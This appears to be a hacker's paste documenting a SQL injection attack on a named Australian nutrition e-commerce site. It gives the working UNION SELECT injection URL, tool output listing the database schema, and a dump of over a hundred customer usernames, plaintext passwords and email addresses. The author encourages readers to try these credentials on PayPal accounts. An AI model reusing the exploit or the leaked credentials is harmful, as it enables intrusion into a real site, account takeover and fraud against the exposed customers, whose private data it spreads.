[SQLi] http://www.enutrition.com.au

Tools : schemafuzz.py v5.0 mod by me
Adv : some email password is their paypal password. So dump it and check it by yourself. First 102 rows are already dumped by me.

[+] URL:http://www.enutrition.com.au/product.php?p_id=491+AND+1=2+UNION+SELECT+0,1,sqli,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
[+] Evasion Used: "+" "--"
[+] 13:32:19
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: enutriti_enut08
User: enutriti_usr08@localhost
Version: 5.0.51a-community
[+] Showing Tables & Columns from database "enutriti_enut08"
[+] Number of Tables: 18


[Database]: enutriti_enut08
[Table: Columns]
[0]ahfa_disallow: id,username
[1]ahfa_f_category: cate_id,cate_title,cate_order,cate_lock
[2]ahfa_f_forum: forum_id,cate_id,forum_title,forum_desc,forum_order,forum_lock,last_post
[3]ahfa_f_post: post_id,topic_id,forum_id,userid,username,post_ip,post_added,post_edited,post_subject,post_text,topic
[4]ahfa_f_topic: topic_id,forum_id,topic_title,topic_poster,topic_views,topic_replies,last_post,topic_lock,topic_moved_id
[5]ahfa_f_topic_watch: topic_id,userid
[6]ahfa_newsletter: id,name,email,active,added
[7]ahfa_s_brand: brand_id,brand
[8]ahfa_s_category: cate_id,cate_title,cate_order,html_title,keywords,description,cate_lock
[9]ahfa_s_code: code_id,code_name,code,type,discount,expiry,active
[10]ahfa_s_order: order_id,userid,personal,added,total,billing,delivery,items,trans_id,code,discount_type
[11]ahfa_s_postage: postage_id,postage
[12]ahfa_s_product: product_id,subcate_id,cate_id,brand_id,product_title,recommended,caption,product_desc,html_title,keywords,description,product_price,gst,rrp,product_qty,alert_qty,product_lock,discount,image,added,sold,link,postage1,postage2,supplier_id,discount_type
[13]ahfa_s_subcate: subcate_id,cate_id,subcate_title,subcate_desc,subcate_order,html_title,keywords,description,subcate_lock
[14]ahfa_s_supplier: supplier_id,supplier,supplier_email
[15]ahfa_s_temp: order_id,uid,np_details,nb_details,nd_details,my_cart,code,discount_type,total_price,discounted_products
[16]ahfa_user: userid,username,password,firstname,lastname,signature,email,contact,age,gender,height,weight,marketing,addr1,addr2,city,state,postcode,country,p_addr1,p_addr2,p_city,p_state,p_postcode,p_country,type,active,banned,added,edited,visited,posts,orders,viewed,ordered,activation_code
[17]ahfa_words: word_id,word,replacement

[-] [13:33:48]
[-] Total URL Requests 158
[-] Done

[+] URL:http://www.enutrition.com.au/product.php?p_id=491+AND+1=2+UNION+SELECT+0,1,sqli,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
[+] Evasion Used: "+" "--"
[+] 13:37:34
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: enutriti_enut08
User: enutriti_usr08@localhost
Version: 5.0.51a-community
[+] Dumping data from database "enutriti_enut08" Table "ahfa_user"
[+] Column(s) ['username', 'password', 'email']
[+] Number of Rows: 421

[0] Chloe:q3qri387:chloe_rob@hotmail.com
[1] enutritionsupps:amg30426:admin@enutrition.com.
[2] new_user:password:sam@healthfitness.com.au
[3] healthfitness:healthfitness:stefan@fitnessmail.net
[4] NABtest:test123:nabtest@testnab.com.au
[5] amg304:celly26:rob@enutrition.com.au
[6] robertof:0range123:roberto@francesconi.com.aurobertof:0range123:roberto@francesconi.com.au:
[7] JasmineRobinson:jafazz:jasmine.robinson@blakedawson.comJasmineRobinson:jafazz:jasmine.robinson@blakedawson.com:
[8] mikeayb:mb1240:mikeayb@hotmail.com
[9] jayceee:addiction:eschy@bigpond.com
[10] jasewell1:radios:jasewell1@bigpond.comjasewell1:radios:jasewell1@bigpond.com:
[11] EEwing:eewing:efrem.ewing@bigpond.comEEwing:eewing:efrem.ewing@bigpond.com:
[12] jeffcook2812:jefferson:jeffcook2812@optusnet.com.aujeffcook2812:jefferson:jeffcook2812@optusnet.com.au:
[13] zinet:cadqiwho:zinet69@hotmail.comzinet:cadqiwho:zinet69@hotmail.com:
[14] Morgy5:furrybum:Morgan2042@yahoo.comMorgy5:furrybum:Morgan2042@yahoo.com:
[15] Stormy:blacky:aca88768@bigpond.net.auStormy:blacky:aca88768@bigpond.net.au:
[16] tonysoprano:qabanass:sweepingplains@hotmail.comtonysoprano:qabanass:sweepingplains@hotmail.com:
[17] mattkumeroa:matt27380:manager.albionpark@bhfc.com.aumattkumeroa:matt27380:manager.albionpark@bhfc.com.au:
[18] adrian_yap:1lawyer1:adrian.yap@inbox.comadrian_yap:1lawyer1:adrian.yap@inbox.com:
[19] crazed_hobo:casper1:harbenger@hotmail.comcrazed_hobo:casper1:harbenger@hotmail.com:
[20] jacob_cuzz:bzhubb:jacob_cuzz@hotmail.comjacob_cuzz:bzhubb:jacob_cuzz@hotmail.com:
[21] qte100:qte100:brad@rightpeople.com.auqte100:qte100:brad@rightpeople.com.au:
[22] stevew001:karakite:kitena@trinity.sa.edu.austevew001:karakite:kitena@trinity.sa.edu.au:
[23] Kosta:florinagreece:moukas@optusnet.com.auKosta:florinagreece:moukas@optusnet.com.au:
[24] mchahine:sarah1:sessah1@hotmail.commchahine:sarah1:sessah1@hotmail.com:
[25] troysa:tanika:tma@andrewsjakeman.com.autroysa:tanika:tma@andrewsjakeman.com.au:
[26] kulturista8:im.there:mirek1968200@yahoo.com.aukulturista8:im.there:mirek1968200@yahoo.com.au:
[27] kulturista88:im.there.:mvaculka@bigpond.net.aukulturista88:im.there.:mvaculka@bigpond.net.au:
[28] Michelle:mich1961:mybelle61@optusnet.com.auMichelle:mich1961:mybelle61@optusnet.com.au:
[29] neoalbert:MARRY009:neoalbert@yahoo.comneoalbert:MARRY009:neoalbert@yahoo.com:
[30] kegs39:jasper:adam.moody@yahoo.com.aukegs39:jasper:adam.moody@yahoo.com.au:
[31] alsky08:ruby1956:sanctum@bigpond.comalsky08:ruby1956:sanctum@bigpond.com:
[32] samboyfive:rubyruby:sam_keast@hotmail.comsamboyfive:rubyruby:sam_keast@hotmail.com:
[33] colossal0388:d3lta9559:hyperion0388@hotmail.comcolossal0388:d3lta9559:hyperion0388@hotmail.com:
[34] troyo911:gargamel:troyo911@hotmail.comtroyo911:gargamel:troyo911@hotmail.com:
[35] wewens:sparky0:wewens@optusnet.com.auwewens:sparky0:wewens@optusnet.com.au:
[36] beavachk:vanessa:beavachk@yahoo.com.aubeavachk:vanessa:beavachk@yahoo.com.au:
[37] davidking:wallabies:davidking1530@yahoo.com.audavidking:wallabies:davidking1530@yahoo.com.au:
[38] fester:fester:mrt@hillrogers.com.aufester:fester:mrt@hillrogers.com.au:
[39] 1141080:teem8335:eikomania@hotmail.com1141080:teem8335:eikomania@hotmail.com:
[40] alex_sward:retsehcnam:alex_sward@hotmail.comalex_sward:retsehcnam:alex_sward@hotmail.com:
[41] mkoler:kikinda:mkoler@caltex.com.aumkoler:kikinda:mkoler@caltex.com.au:
[42] davros:dunamis:cdavy@iinet.net.audavros:dunamis:cdavy@iinet.net.au:
[43] shivaz:worming1:justin@inwa.com.aushivaz:worming1:justin@inwa.com.au:
[44] dieter:debsf1:admin@allcentralonline.com.audieter:debsf1:admin@allcentralonline.com.au:
[45] pdurel:f48dc47:patrick.durel@arts.monash.edu.aupdurel:f48dc47:patrick.durel@arts.monash.edu.au:
[46] gregmcgrath3:morgan88:sethshouse_727@hotmail.comgregmcgrath3:morgan88:sethshouse_727@hotmail.com:
[47] Benny101:rocky101:b.wills@employersmutual.com.auBenny101:rocky101:b.wills@employersmutual.com.au:
[48] charlotteorr:oscartj:charlotteorr@hotmail.comcharlotteorr:oscartj:charlotteorr@hotmail.com:
[49] Jordan:pippen33:alexhealthclub@yahoo.com.auJordan:pippen33:alexhealthclub@yahoo.com.au:
[50] bbarker:just4supps:dbarlocal@yahoo.combbarker:just4supps:dbarlocal@yahoo.com:
[51] smileyman:CAnAdiAn12:morganjus@gmail.comsmileyman:CAnAdiAn12:morganjus@gmail.com:
[52] Mugz:pa55word:mugz@internode.on.netMugz:pa55word:mugz@internode.on.net:
[53] scuba:hardhat12341:lampshade_481@hotmail.comscuba:hardhat12341:lampshade_481@hotmail.com:
[54] RachelleIrving:sato01:rachelle.irving@mhca.org.auRachelleIrving:sato01:rachelle.irving@mhca.org.au:
[55] Fiona129:279964:fiona.fm.coughtrie@centrelink.gov.auFiona129:279964:fiona.fm.coughtrie@centrelink.gov.au:
[56] larissatimbs:superjsg:larissa.timbs@telstra.comlarissatimbs:superjsg:larissa.timbs@telstra.com:
[57] kinghenry12:theeight:kinghenry12@hotmail.comkinghenry12:theeight:kinghenry12@hotmail.com:
[58] allanahj:allanah:allanahj@hotmail.comallanahj:allanah:allanahj@hotmail.com:
[59] derigo:Buttons:leigh.derigo@austrade.gov.auderigo:Buttons:leigh.derigo@austrade.gov.au:
[60] iamhe77:31nene:cbaddock@netspace.net.auiamhe77:31nene:cbaddock@netspace.net.au:
[61] Allan:all4GOD:allanbrooks1@bigpond.comAllan:all4GOD:allanbrooks1@bigpond.com:
[62] karon:samson:karonb@tpg.com.aukaron:samson:karonb@tpg.com.au:
[63] Andrew69:wetsex69:andygalovic@yahoo.com.auAndrew69:wetsex69:andygalovic@yahoo.com.au:
[64] robpenfold:oxiana:robpenfold@hotmail.comrobpenfold:oxiana:robpenfold@hotmail.com:
[65] mcarewic:trouser:mcarewic@hotmail.commcarewic:trouser:mcarewic@hotmail.com:
[66] plintm02:eight8fullr:plintm02@student.uwa.edu.auplintm02:eight8fullr:plintm02@student.uwa.edu.au:
[67] irongrasshopper:kidmuscle69:robert_king1988@yahoo.comirongrasshopper:kidmuscle69:robert_king1988@yahoo.com:
[68] Mark:freeformer:markwight@adam.com.auMark:freeformer:markwight@adam.com.au:
[69] carmels:crystal:carmels@grapevine.com.aucarmels:crystal:carmels@grapevine.com.au:
[70] SIMONMYERS:TRUDYLEECE:simon.myers@ttw.com.auSIMONMYERS:TRUDYLEECE:simon.myers@ttw.com.au:
[71] jack:jasper:earnestbeancompany@bigpond.comjack:jasper:earnestbeancompany@bigpond.com:
[72] dbergen:talgarno2575:dane@danebergen.comdbergen:talgarno2575:dane@danebergen.com:
[73] michaeltrotter:magg22:michael.trotter@justice.vic.gov.aumichaeltrotter:magg22:michael.trotter@justice.vic.gov.au:
[74] kazzafitz:Arthur03:kazzafitz@optusnet.com.aukazzafitz:Arthur03:kazzafitz@optusnet.com.au:
[75] Cathryn:Bridey:cathryn283@hotmail.comCathryn:Bridey:cathryn283@hotmail.com:
[76] JoelKA:flexing:joel_bigman@hotmail.comJoelKA:flexing:joel_bigman@hotmail.com:
[77] millib:2701peng:barbara.milliken@kornferry.commillib:2701peng:barbara.milliken@kornferry.com:
[78] roush99:edwards:simon.tait2@bigpond.comroush99:edwards:simon.tait2@bigpond.com:
[79] Junk:Fiscat:koora_plunkett@bigpond.com.auJunk:Fiscat:koora_plunkett@bigpond.com.au:
[80] alfishy:alex01:alfishy@bigpond.net.aualfishy:alex01:alfishy@bigpond.net.au:
[81] triologist:yingweem1:triologist@yahoo.comtriologist:yingweem1:triologist@yahoo.com:
[82] hiluxhilux:speaker:sandkhilton@yahoo.com.auhiluxhilux:speaker:sandkhilton@yahoo.com.au:
[83] pmonamy:xr8boss260i:phil_m_87@yahoo.com.aupmonamy:xr8boss260i:phil_m_87@yahoo.com.au:
[84] bcouper:syntax25:bradcouper@hotmail.combcouper:syntax25:bradcouper@hotmail.com:
[85] jackwoodrup:donkey:jackwoodrup@hotmail.comjackwoodrup:donkey:jackwoodrup@hotmail.com:
[86] sonjasecker:ps2106:sonjasecker@aol.comsonjasecker:ps2106:sonjasecker@aol.com:
[87] schuan:enutrition:duriel@iinet.net.auschuan:enutrition:duriel@iinet.net.au:
[88] ben_1301:football5:ben_1301@hotmail.comben_1301:football5:ben_1301@hotmail.com:
[89] gmmurphy:shamizen9:gerard@epic-events.com.augmmurphy:shamizen9:gerard@epic-events.com.au:
[90] kezmez:toto12toto:kezmez39@hotmail.comkezmez:toto12toto:kezmez39@hotmail.com:
[91] shonl9:fish2010:resandshon@hotmail.comshonl9:fish2010:resandshon@hotmail.com:
[92] dalila6994:pusspuss6994:dalila@westnet.com.audalila6994:pusspuss6994:dalila@westnet.com.au:
[93] Monster:emma30:robbtoon@hotmail.comMonster:emma30:robbtoon@hotmail.com:
[94] william:roc777:howcroft@iinet.net.auwilliam:roc777:howcroft@iinet.net.au:
[95] akcurrie:d890ml:andrew@clearoutcomes.com.auakcurrie:d890ml:andrew@clearoutcomes.com.au:
[96] scottk:scotty:scottykrauss@hotmail.comscottk:scotty:scottykrauss@hotmail.com:
[97] Lynne:GIGGImimmi:bling0423@hotmail.comLynne:GIGGImimmi:bling0423@hotmail.com:
[98] KRISKALI:HITLERBURGER:KRISKALI777@HOTMAIL.COMKRISKALI:HITLERBURGER:KRISKALI777@HOTMAIL.COM:
[99] bkellett:bobbie12:bkellett@internode.on.netbkellett:bobbie12:bkellett@internode.on.net:
[100] pfrances:subzero:giovanni@francesconi.com.aupfrances:subzero:giovanni@francesconi.com.au:
[101] emjaylow:honey1:emjaylow@netspeed.com.auemjaylow:honey1:emjaylow@netspeed.com.au:
[102] Bizzle:pa55word:martin@wfsystems.comBizzle:pa55word:martin@wfsystems.com: